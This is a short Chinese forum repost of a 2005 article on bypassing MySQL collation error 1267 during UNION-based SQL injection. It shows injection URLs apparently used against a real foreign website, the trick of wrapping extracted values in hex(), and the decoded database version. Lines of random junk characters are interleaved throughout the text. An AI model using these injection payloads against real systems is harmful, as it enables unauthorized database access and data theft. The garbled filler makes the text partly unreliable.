中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者：SuperHei
: E A+ M) p4 v; Q$ @: D! B
文章性质：原创
9 \! M& |, E$ ~: @/ Q3 G4 O$ A
发布日期：2005-10-18
% E9 y, c: `- H O7 n
测试个国外的站时：
' v2 V5 F6 N! Y9 j& h6 R
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
* s/ a& \- w% G" q: l9 `6 {! n
返回错误：
3 P) n1 A# H, X7 [$ _! |
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
6 ~7 Q) Y2 K8 x& h3 Z$ v# ^
MySQL Error No. 126
+ T( r. ]! D5 R# y/ D
看来是union查询前后字符集（
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
）不同出现的。
' {9 H: v9 X s" T8 K
解决办法：转为其他编码如hex。
, f W# L3 C) t% Y2 K& [3 A' F8 e$ f
url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
# c# B& e8 I, f8 @
成功得到hex(version())的值为：
: v) v8 _8 Y' y- w& y
342E312E332D62657461
" o+ A l; Z' \* s/ Y* f
回Mysql查询下得到：
8 E+ Q3 [+ I$ Q) h+ K n
mysql> select 0x342E312E332D62657461;
1 H V: }* E9 e" K2 V
+------------------------+
, ?) {4 r% P l: f. n$ L
| 0x342E312E332D62657461 |
- w% m7 q+ r! x0 _
+------------------------+
/ Z. i, a0 v! y/ |! A8 c3 v
| 4.1.3-beta |
, g0 {2 P4 y4 w$ g
+------------------------+
# ]8 h) X% B4 M2 f6 e8 z! R; c, ~5 a1 ~, K
1 row in set (0.00 sec)
% u. w* s- y x# R
1 U. }# y6 f' y+ h& J6 ~
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2